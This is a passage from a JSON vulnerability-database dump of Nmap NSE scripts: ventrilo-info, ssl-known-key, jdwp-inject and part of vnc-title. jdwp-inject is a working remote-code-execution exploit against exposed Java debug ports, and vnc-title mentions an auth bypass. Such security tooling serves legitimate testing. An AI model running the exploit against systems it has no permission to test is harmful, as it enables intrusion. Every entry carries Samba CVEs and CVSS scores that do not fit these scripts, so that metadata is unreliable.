0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,\n 0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,\n 0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,\n 0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,\n 0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,\n 0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,\n 0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,\n 0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,\n 0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,\n 0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0\n}\n\n-- The probe payload is static as it has proven to be unnecessary to forge a new\n-- one every time. The data used includes the following parameters:\n-- cmd = 2, password = 0, header len = 20, data len = 16, totlen = 36\n-- static 2 byte status request id (time(NULL) in the original protocol)\nlocal static_probe_id = 0x33CF\nlocal static_probe_payload = \"\\x49\\xde\\xdf\\xd0\\x65\\xc9\\x21\\xc4\\x90\\x0d\\xbf\\x23\\xa2\\xc8\\x8b\\x65\\x7d\\x43\\x15\\x9b\\x30\\xc2\\xe2\\x23\\xd2\\x13\\xe3\\x29\\xad\\xe8\\x63\\xff\\x17\\x31\\x33\\x50\"\n\n-- Returns a string interpretation of the server authentication scheme.\n-- @param auth the server authentication scheme code\n-- @return string string interpretation of the server authentication scheme\nlocal auth_str = function(auth)\n if auth == \"0\" then\n return \"none\"\n elseif auth == \"1\" then\n return \"pw\"\n elseif auth == \"2\" then\n return \"user/pw\"\n else\n return auth\n end\nend\n\n-- Formats an uptime string containing a number of seconds.\n-- E.g. \"3670\" -> \"1h:1m\"\n-- @param uptime number of seconds of uptime\n-- @return uptime_formatted formatted uptime string (hours and minutes)\nlocal uptime_str = function(uptime)\n local uptime_num = tonumber(uptime)\n if not uptime_num then\n return uptime\n end\n\n local h = math.floor(uptime_num/3600)\n local m = math.floor((uptime_num - h*3600)/60)\n\n return h .. \"h:\" .. m .. \"m\"\nend\n\n-- Decrypts the Ventrilo UDP status response header segment.\n-- @param str the Ventrilo UDP status response\n-- @return id status request id as sent by us\n-- @return len length of the data segment of the response\n-- @return totlen total length of data segments of all response packets\n-- @return pck response packet number (starts with 0)\n-- @return totpck total number of response packets to expect\n-- @return key key for decrypting the data segment of this response packet\n-- @return crc_sum the crc checksum of the full response data segment\nlocal dec_head = function(str)\n local head = { string.byte(str, 1, 20) }\n\n head[1], head[2] = head[2], head[1]\n local a1 = head[1]\n if a1 == 0 then\n return table.concat(head)\n end\n local a2 = head[2]\n\n for i = 3,20 do\n head[i] = head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)) & 0xFF\n a2 = (a2 + a1) & 0xFF\n end\n\n for i = 3,19,2 do\n head[i], head[i + 1] = head[i + 1], head[i]\n end\n\n local id = head[7] + (head[8] << 8)\n local totlen = head[9] + (head[10] << 8)\n local len = head[11] + (head[12] << 8)\n local totpck = head[13] + (head[14] << 8)\n local pck = head[15] + (head[16] << 8)\n local key = head[17] + (head[18] << 8)\n local crc_sum = head[19] + (head[20] << 8)\n\n return id, len, totlen, pck, totpck, key, crc_sum\nend\n\n-- Decrypts the Ventrilo UDP status response data segment.\n-- @param str the Ventrilo UDP status response\n-- @param len length of the data segment of this response packet\n-- @param key key for decrypting the data segment\nlocal dec_data = function(str, len, key)\n -- skip the header (first 20 bytes)\n local data = { string.byte(str, 21, 20 + len) }\n\n local a1 = key & 0xFF\n if a1 == 0 then\n return table.concat(data)\n end\n local a2 = key >> 8\n\n for i = 1,len do\n data[i] = data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)) & 0xFF\n a2 = (a2 + a1) & 0xFF\n end\n\n return string.char(table.unpack(data))\nend\n\n-- Convenient wrapper for string.find(...). Returns the position of the end of\n-- the match, or the previous starting position if no match was found. Also\n-- returns the first capture, or \"n/a\" if one was not found.\n-- @param str the string to search\n-- @param pattern the pattern to apply for the search\n-- @param pos the starting position of the search\n-- @return newpos position of the end of the match, or pos if no match found\n-- @return cap the first capture, or \"n/a\" if one was not found\nlocal str_find = function(str, pattern, pos)\n local _, newpos, cap = string.find(str, pattern, pos)\n return newpos or pos, cap or \"n/a\"\nend\n\n-- Calculates the CRC checksum used for checking the integrity of the received\n-- status response data segment.\n-- @param data data to calculate the checksum of\n-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers\nlocal crc = function(data)\n local sum = 0\n for i = 1,#data do\n sum = (crypt_crc[(sum >> 8) + 1] ~ data:byte(i) ~ (sum << 8)) & 0xFFFF\n end\n return sum\nend\n\n-- Parses the status response data segment and constructs an output table.\n-- @param Ventrilo UDP status response data segment\n-- @return info output table representing Ventrilo UDP status response info\nlocal o_table = function(data)\n local info = stdnse.output_table()\n local pos\n\n pos, info.name = str_find(data, \"NAME: ([^\\n]*)\", 0)\n pos, info.phonetic = str_find(data, \"PHONETIC: ([^\\n]*)\", pos)\n pos, info.comment = str_find(data, \"COMMENT: ([^\\n]*)\", pos)\n pos, info.auth = str_find(data, \"AUTH: ([^\\n]*)\", pos)\n pos, info.maxclients = str_find(data, \"MAXCLIENTS: ([^\\n]*)\", pos)\n pos, info.voicecodec = str_find(data, \"VOICECODEC: ([^\\n]*)\", pos)\n pos, info.voiceformat = str_find(data, \"VOICEFORMAT: ([^\\n]*)\", pos)\n pos, info.uptime = str_find(data, \"UPTIME: ([^\\n]*)\", pos)\n pos, info.platform = str_find(data, \"PLATFORM: ([^\\n]*)\", pos)\n pos, info.version = str_find(data, \"VERSION: ([^\\n]*)\", pos)\n\n -- channels\n pos, info.channelcount = str_find(data, \"CHANNELCOUNT: ([^\\n]*)\", pos)\n pos, info.channelfields = str_find(data, \"CHANNELFIELDS: ([^\\n]*)\", pos)\n\n -- construct channel fields as a nice list instead of the raw data\n local channelfields = {}\n for channelfield in string.gmatch(info.channelfields, \"[^,\\n]+\") do\n channelfields[#channelfields + 1] = channelfield\n end\n info.channelfields = channelfields\n\n -- parse and add channels\n info.channels = stdnse.output_table()\n -- add top level lobby channel (CID = 0)\n info.channels[\"0\"] = stdnse.output_table()\n info.channels[\"0\"].NAME = \"<top level lobby>\"\n info.channels[\"0\"].CID = \"0\"\n while string.sub(data, pos + 2, pos + 10) == \"CHANNEL: \" do\n local channel = stdnse.output_table()\n for _, channelfield in ipairs(info.channelfields) do\n pos, channel[channelfield] = str_find(data, channelfield .. \"=([^,\\n]*)\", pos)\n end\n if channel.CID then\n info.channels[channel.CID] = channel\n end\n end\n\n -- clients\n pos, info.clientcount = str_find(data, \"CLIENTCOUNT: ([^\\n]*)\", pos)\n pos, info.clientfields = str_find(data, \"CLIENTFIELDS: ([^\\n]*)\", pos)\n\n -- construct client fields as a nice list instead of the raw data\n local clientfields = {}\n for clientfield in string.gmatch(info.clientfields, \"[^,\\n]+\") do\n clientfields[#clientfields + 1] = clientfield\n end\n info.clientfields = clientfields\n\n -- parse and add clients\n while string.sub(data, pos + 2, pos + 9) == \"CLIENT: \" do\n local client = stdnse.output_table()\n for _, clientfield in ipairs(info.clientfields) do\n pos, client[clientfield] = str_find(data, clientfield .. \"=([^,\\n]*)\", pos)\n end\n if client.CID then\n if not info.channels[client.CID] then\n -- weird clients with unrecognized CID are put in the -1 channel\n if not info.channels[\"-1\"] then\n -- add channel for weird clients with unrecognized CIDs\n info.channels[\"-1\"] = stdnse.output_table()\n info.channels[\"-1\"].NAME = \"<clients with unrecognized CIDs>\"\n info.channels[\"-1\"].CID = \"-1\"\n info.channels[\"-1\"].clients = {}\n end\n table.insert(info.channels[\"-1\"].clients, client)\n elseif not info.channels[client.CID].clients then\n -- channel had no clients, create table for the 1st client\n info.channels[client.CID].clients = {}\n table.insert(info.channels[client.CID].clients, client)\n else\n table.insert(info.channels[client.CID].clients, client)\n end\n end\n end\n\n return info\nend\n\n-- Constructs an output string from an output table for use in normal output.\n-- @param info output table\n-- @return output_string output string\nlocal o_str = function(info)\n local buf = strbuf.new()\n buf = buf .. \"\\nname: \"\n buf = buf .. info.name\n buf = buf .. \"\\nphonetic: \"\n buf = buf .. info.phonetic\n buf = buf .. \"\\ncomment: \"\n buf = buf .. info.comment\n buf = buf .. \"\\nauth: \"\n buf = buf .. auth_str(info.auth)\n buf = buf .. \"\\nmax. clients: \"\n buf = buf .. info.maxclients\n buf = buf .. \"\\nvoice codec: \"\n buf = buf .. info.voicecodec\n buf = buf .. \"\\nvoice format: \"\n buf = buf .. info.voiceformat\n buf = buf .. \"\\nuptime: \"\n buf = buf .. uptime_str(info.uptime)\n buf = buf .. \"\\nplatform: \"\n buf = buf .. info.platform\n buf = buf .. \"\\nversion: \"\n buf = buf .. info.version\n buf = buf .. \"\\nchannel count: \"\n buf = buf .. info.channelcount\n buf = buf .. \"\\nchannel fields: \"\n for i, channelfield in ipairs(info.channelfields) do\n buf = buf .. channelfield\n if i ~= #info.channelfields then\n buf = buf .. \", \"\n end\n end\n buf = buf .. \"\\nclient count: \"\n buf = buf .. info.clientcount\n buf = buf .. \"\\nclient fields: \"\n for i, clientfield in ipairs(info.clientfields) do\n buf = buf .. clientfield\n if i ~= #info.clientfields then\n buf = buf .. \", \"\n end\n end\n buf = buf .. \"\\nchannels:\"\n for i, channel in pairs(info.channels) do\n buf = buf .. \"\\n\"\n buf = buf .. channel.NAME\n buf = buf .. \" (\"\n for j, channelfield in ipairs(info.channelfields) do\n if channelfield ~= \"NAME\" and channelfield ~= \"n/a\" then\n buf = buf .. channelfield\n buf = buf .. \": \"\n buf = buf .. (channel[channelfield] or \"n/a\")\n if j ~= #info.channelfields then\n buf = buf .. \", \"\n end\n end\n end\n buf = buf .. \"): \"\n if not channel.clients then\n buf = buf .. \"<empty>\"\n else\n for j, client in ipairs(channel.clients) do\n buf = buf .. \"\\n \"\n buf = buf .. client.NAME\n buf = buf .. \" (\"\n for k, clientfield in ipairs(info.clientfields) do\n if clientfield ~= \"NAME\" and clientfield ~= \"CID\" then\n buf = buf .. clientfield\n buf = buf .. \": \"\n buf = buf .. client[clientfield]\n if k ~= #info.clientfields then\n buf = buf .. \", \"\n end\n end\n end\n end\n end\n end\n\n return strbuf.dump(buf, \"\")\nend\n\nportrule = shortport.version_port_or_service({3784}, \"ventrilo\", {\"tcp\", \"udp\"})\n\naction = function(host, port)\n local mutex = nmap.mutex(\"ventrilo-info:\" .. host.ip .. \":\" .. port.number)\n mutex(\"lock\")\n\n if host.registry[\"ventrilo-info\"] == nil then\n host.registry[\"ventrilo-info\"] = {}\n end\n -- Maybe the script already ran for this port number on another protocol\n local r = host.registry[\"ventrilo-info\"][port.number]\n if r == nil then\n r = {}\n host.registry[\"ventrilo-info\"][port.number] = r\n\n local socket = nmap.new_socket()\n socket:set_timeout(2000)\n\n local cleanup = function()\n socket:close()\n mutex(\"done\")\n end\n local try = nmap.new_try(cleanup)\n\n local udpport = { number = port.number, protocol = \"udp\" }\n try(socket:connect(host.ip, udpport))\n\n local status, response\n -- try a couple of times on timeout, the service seems to not\n -- respond if multiple requests come within a short timeframe\n for _ = 1,3 do\n try(socket:send(static_probe_payload))\n status, response = socket:receive()\n if status then\n nmap.set_port_state(host, udpport, \"open\")\n break\n end\n end\n if not status then\n -- 3 timeouts, no response\n cleanup()\n return\n end\n\n -- received the first packet, process it and others if they come\n local fulldata = {}\n local fulldatalen = 0\n local curlen = 0\n local head_crc_sum\n while true do\n -- decrypt received header and extract relevant information\n local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)\n\n if id == static_probe_id then\n curlen = curlen + len\n head_crc_sum = crc_sum\n\n -- check for an invalid response\n if #response < 20 or pck >= totpck or\n len > 492 or curlen > totlen then\n stdnse.debug1(\"Invalid response. Aborting script.\")\n cleanup()\n return\n end\n\n -- keep track of the length of fulldata (# isn't applicable)\n if fulldata[pck + 1] == nil then\n fulldatalen = fulldatalen + 1\n end\n -- accumulate UDP packets that may not necessarily come in proper\n -- order; arrange them by packet id\n fulldata[pck + 1] = dec_data(response, len, key)\n end\n\n -- check for invalid states in communication\n if (fulldatalen > totpck) or (curlen > totlen)\n or (fulldatalen == totpck and curlen ~= totlen)\n or (curlen == totlen and fulldatalen ~= totpck) then\n stdnse.debug1(\"Invalid state (fulldatalen = \" .. fulldatalen ..\n \"; totpck = \" .. totpck .. \"; curlen = \" .. curlen ..\n \"; totlen = \" .. totlen .. \"). Aborting script.\")\n cleanup()\n return\n end\n\n -- check for valid end of communication\n if fulldatalen == totpck and curlen == totlen then\n break\n end\n\n -- receive another packet\n status, response = socket:receive()\n if not status then\n stdnse.debug1(\"Response packets stopped coming midway. Aborting script.\")\n cleanup()\n return\n end\n end\n\n socket:close()\n\n -- concatenate received data into a single string for further use\n local fulldata_str = table.concat(fulldata)\n\n -- check for an invalid checksum on the response data sections (no headers)\n local fulldata_crc_sum = crc(fulldata_str)\n if fulldata_crc_sum ~= head_crc_sum then\n stdnse.debug1(\"Invalid CRC sum, received = %04X, calculated = %04X\", head_crc_sum, fulldata_crc_sum)\n cleanup()\n return\n end\n\n -- parse the received data string into an output table\n r.info = o_table(fulldata_str)\n end\n\n mutex(\"done\")\n\n -- If the registry is empty the port was probed but Ventrilo wasn't detected\n if next(r) == nil then\n return\n end\n\n port.version.name = \"ventrilo\"\n port.version.name_confidence = 10\n port.version.product = \"Ventrilo\"\n port.version.version = r.info.version\n port.version.ostype = r.info.platform\n port.version.extrainfo = \"; name: \".. r.info.name\n if port.protocol == \"tcp\" then\n port.version.extrainfo = \"voice port\" .. port.version.extrainfo\n else\n port.version.extrainfo = \"status port\" .. port.version.extrainfo\n end\n port.version.extrainfo = port.version.extrainfo .. \"; uptime: \" .. uptime_str(r.info.uptime)\n port.version.extrainfo = port.version.extrainfo .. \"; auth: \" .. auth_str(r.info.auth)\n\n nmap.set_port_version(host, port, \"hardmatched\")\n\n -- an output table for XML output and a custom string for normal output\n return r.info, o_str(r.info)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:30:40", "description": "Checks whether the SSL certificate used by a host has a fingerprint that matches an included database of problematic keys. \n\nThe only databases currently checked are the LittleBlackBox 0.1 database of compromised keys from various devices, some keys reportedly used by the Chinese state-sponsored hacking division APT1 (<https://www.fireeye.com/blog/threat-research/2013/03/md5-sha1.html>), and the key used by CARBANAK malware (<https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html>). However, any file of fingerprints will serve just as well. For example, this could be used to find weak Debian OpenSSL keys using the widely available (but too large to include with Nmap) list.\n\n## Script Arguments \n\n#### ssl-known-key.fingerprintfile \n\nSpecify a different file to read fingerprints from.\n\n#### mssql.domain, mssql.instance-all, mssql.instance-name, mssql.instance-port, mssql.password, mssql.protocol, mssql.scanned-ports-only, mssql.timeout, mssql.username \n\nSee the documentation for the [mssql](<../lib/mssql.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### smtp.domain \n\nSee the documentation for the [smtp](<../lib/smtp.html#script-args>) library. \n\n#### randomseed, smbbasic, smbport, smbsign \n\nSee the documentation for the [smb](<../lib/smb.html#script-args>) library. \n\n#### tls.servername \n\nSee the documentation for the [tls](<../lib/tls.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script ssl-known-key -p 443 <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 443/tcp open https syn-ack\n |_ssl-known-key: Found in Little Black Box 0.1 (SHA-1: 0028 e7d4 9cfa 4aa5 984f e497 eb73 4856 0787 e496)\n \n\n## Requires \n\n * [io](<>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [sslcert](<../lib/sslcert.html>)\n * [tls](<../lib/tls.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-03-22T19:44:40", "type": "nmap", "title": "ssl-known-key NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-05-26T02:03:00", "id": "NMAP:SSL-KNOWN-KEY.NSE", "href": "https://nmap.org/nsedoc/scripts/ssl-known-key.html", "sourceData": "local io = require \"io\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal sslcert = require \"sslcert\"\nlocal tls = require \"tls\"\n\ndescription = [[\nChecks whether the SSL certificate used by a host has a fingerprint\nthat matches an included database of problematic keys.\n\nThe only databases currently checked are the LittleBlackBox 0.1 database of\ncompromised keys from various devices, some keys reportedly used by the Chinese\nstate-sponsored hacking division APT1\n(https://www.fireeye.com/blog/threat-research/2013/03/md5-sha1.html),\nand the key used by CARBANAK malware\n(https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html).\nHowever, any file of fingerprints will serve just as well. For example, this\ncould be used to find weak Debian OpenSSL keys using the widely available (but\ntoo large to include with Nmap) list.\n]]\n\n---\n-- @usage\n-- nmap --script ssl-known-key -p 443 <host>\n--\n-- @args ssl-known-key.fingerprintfile Specify a different file to read\n-- fingerprints from.\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 443/tcp open https syn-ack\n-- |_ssl-known-key: Found in Little Black Box 0.1 (SHA-1: 0028 e7d4 9cfa 4aa5 984f e497 eb73 4856 0787 e496)\n--\n-- @xmloutput\n-- <table>\n-- <elem key=\"section\">Little Black Box 0.1</elem>\n-- <elem key=\"sha1\">0028e7d49cfa4aa5984fe497eb7348560787e496</elem>\n-- </table>\n\nauthor = \"Mak Kolybabi\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\", \"discovery\", \"vuln\", \"default\"}\ndependencies = {\"https-redirect\"}\n\nlocal FINGERPRINT_FILE = \"ssl-fingerprints\"\n\nlocal get_fingerprints = function(path)\n -- Check registry for cached fingerprints.\n if nmap.registry.ssl_fingerprints then\n stdnse.debug2(\"Using cached SSL fingerprints.\")\n return true, nmap.registry.ssl_fingerprints\n end\n\n -- Attempt to resolve path if it is relative.\n local full_path = nmap.fetchfile(\"nselib/data/\" .. path)\n if not full_path then\n full_path = path\n end\n stdnse.debug2(\"Loading SSL fingerprints from %s.\", full_path)\n\n -- Open database.\n local file = io.open(full_path, \"r\")\n if not file then\n return false, \"Failed to open file \" .. full_path\n end\n\n -- Parse database.\n local section = nil\n local fingerprints = {}\n for line in file:lines() do\n line = line:gsub(\"#.*\", \"\")\n line = line:gsub(\"^%s*\", \"\")\n line = line:gsub(\"%s*$\", \"\")\n if line ~= \"\" then\n if line:sub(1,1) == \"[\" then\n -- Start a new section.\n line = line:sub(2, #line - 1)\n stdnse.debug4(\"Starting new section %s.\", line)\n section = line\n elseif section ~= nil then\n -- Add fingerprint to section.\n local fingerprint = stdnse.fromhex(line)\n if #fingerprint == 20 then\n fingerprints[fingerprint] = section\n stdnse.debug4(\"Added key %s to database.\", line)\n else\n stdnse.debug0(\"Cannot parse presumed fingerprint %q in section %q.\", line, section)\n end\n else\n -- Key found outside of section.\n stdnse.debug1(\"Key %s is not in a section.\", line)\n end\n end\n end\n\n -- Close database.\n file:close()\n\n -- Cache fingerprints in registry for future runs.\n nmap.registry.ssl_fingerprints = fingerprints\n\n return true, fingerprints\nend\n\nportrule = shortport.ssl\n\naction = function(host, port)\n -- Get script arguments.\n host.targetname = tls.servername(host)\n local path = stdnse.get_script_args(\"ssl-known-key.fingerprintfile\") or FINGERPRINT_FILE\n local status, result = get_fingerprints(path)\n if not status then\n stdnse.debug1(\"%s\", result)\n return\n end\n local fingerprints = result\n\n -- Get SSL certificate.\n local status, cert = sslcert.getCertificate(host, port)\n if not status then\n stdnse.debug1(\"sslcert.getCertificate error: %s\", cert)\n return\n end\n local fingerprint = cert:digest(\"sha1\")\n local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=\" \", group=4})\n\n -- Check SSL fingerprint against database.\n local section = fingerprints[fingerprint]\n if not section then\n stdnse.debug2(\"%s was not in the database.\", fingerprint_fmt)\n return\n end\n\n return {section=section, sha1=stdnse.tohex(fingerprint)}, \"Found in \" .. section .. \" (SHA-1: \" .. fingerprint_fmt .. \")\"\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:41:18", "description": "Attempts to exploit java's remote debugging port. When remote debugging port is left open, it is possible to inject java bytecode and achieve remote code execution. This script allows injection of arbitrary class files. \n\nAfter injection, class' run() method is executed. Method run() has no parameters, and is expected to return a string. \n\nYou must specify your own .class file to inject by `filename` argument. See nselib/data/jdwp-class/README for more.\n\n## Script Arguments \n\n#### jdwp-inject.filename \n\nJava `.class` file to inject.\n\n## Example Usage \n \n \n nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 2010/tcp open search syn-ack\n | jdwp-inject:\n |_ Hello world from the remote machine!\n\n## Requires \n\n * [io](<>)\n * [jdwp](<../lib/jdwp.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-08-14T11:31:08", "type": "nmap", "title": "jdwp-inject NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-08-29T03:06:40", "id": "NMAP:JDWP-INJECT.NSE", "href": "https://nmap.org/nsedoc/scripts/jdwp-inject.html", "sourceData": "local io = require \"io\"\nlocal jdwp = require \"jdwp\"\nlocal stdnse = require \"stdnse\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal string = require \"string\"\n\ndescription = [[\nAttempts to exploit java's remote debugging port. When remote debugging port\nis left open, it is possible to inject java bytecode and achieve remote code\nexecution. This script allows injection of arbitrary class files.\n\nAfter injection, class' run() method is executed.\nMethod run() has no parameters, and is expected to return a string.\n\nYou must specify your own .class file to inject by <code>filename</code> argument.\nSee nselib/data/jdwp-class/README for more.\n]]\n\n---\n-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class\n--\n-- @args jdwp-inject.filename Java <code>.class</code> file to inject.\n-- @output\n-- PORT STATE SERVICE REASON\n-- 2010/tcp open search syn-ack\n-- | jdwp-inject:\n-- |_ Hello world from the remote machine!\n\nauthor = \"Aleksandar Nikolic\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"exploit\",\"intrusive\"}\n\nportrule = function(host, port)\n -- JDWP will close the port if there is no valid handshake within 2\n -- seconds, Service detection's NULL probe detects it as tcpwrapped.\n return port.service == \"tcpwrapped\"\n and port.protocol == \"tcp\" and port.state == \"open\"\n and not(shortport.port_is_excluded(port.number,port.protocol))\nend\n\naction = function(host, port)\n stdnse.sleep(5) -- let the remote socket recover from connect() scan\n local status,socket = jdwp.connect(host,port) -- initialize the connection\n if not status then\n stdnse.debug1(\"error, %s\",socket)\n return nil\n end\n\n -- read .class file\n local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')\n if filename == nil then\n return stdnse.format_output(false, \"This script requires a .class file to inject.\")\n end\n local file = io.open(nmap.fetchfile(filename) or filename, \"rb\")\n local class_bytes = file:read(\"a\")\n file:close()\n\n -- inject the class\n local injectedClass\n status,injectedClass = jdwp.injectClass(socket,class_bytes)\n if not status then\n stdnse.debug1(\"Failed to inject class\")\n return stdnse.format_output(false, \"Failed to inject class\")\n end\n -- find injected class method\n local runMethodID = jdwp.findMethod(socket,injectedClass.id,\"run\",false)\n\n if runMethodID == nil then\n stdnse.debug1(\"Couldn't find run method\")\n return stdnse.format_output(false, \"Couldn't find run method.\")\n end\n\n -- invoke run method\n local result\n status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)\n if not status then\n stdnse.debug1(\"Couldn't invoke run method\")\n return stdnse.format_output(false, result)\n end\n -- get the result string\n local stringID = string.unpack(\">x I8\",result)\n status,result = jdwp.readString(socket,0,stringID)\n -- parse results\n return stdnse.format_output(status,result)\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:32:43", "description": "Tries to log into a VNC server and get its desktop name. Uses credentials discovered by vnc-brute, or None authentication types. If `realvnc-auth-bypass` was run and returned VULNERABLE, this script will use that vulnerability to bypass authentication.\n\n### See also:\n\n * [ vnc-brute.nse ](<../scripts/vnc-brute.html>)\n * [ realvnc-auth-bypass.nse ](<../scripts/realvnc-auth-bypass.html>)\n\n## Script Arguments \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV --script=vnc-title <target>\n\n## Script Output \n \n \n | vnc-title:\n | name: LibVNCServer\n | geometry: 800 x 600\n |_ color_depth: 24\n \n\n## Requires \n\n * [creds](<../lib/creds.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [vnc](<../lib/vnc.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-04-01T22:29:40", "type": "nmap", "title": "vnc-title NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-03T20:35:07", "id": "NMAP:VNC-TITLE.NSE", "href": "https://nmap.org/nsedoc/scripts/vnc-title.html", "sourceData": "local creds = require \"creds\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal vnc = require \"vnc\"\n\ndescription = [[\nTries to log into a VNC server and get its desktop name. Uses credentials\ndiscovered by vnc-brute, or None authentication types. If\n<code>realvnc-auth-bypass</code> was run and returned VULNERABLE, this script\nwill use that vulnerability to bypass authentication.\n]]\n\nauthor = \"Daniel Miller\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"discovery\"}\n\n---\n-- @see vnc-brute.nse\n-- @see realvnc-auth-bypass.nse\n--\n-- @output\n-- | vnc-title:\n-- | name: LibVNCServer\n-- | geometry: 800 x 600\n-- |_ color_depth: 24\n--\n-- @xmloutput\n-- <elem key=\"name\">QEMU (instance-00000002)</elem>\n-- <elem key=\"geometry\">1024 x 768</elem>\n-- <elem key=\"color_depth\">24</elem>\n\ndependencies = 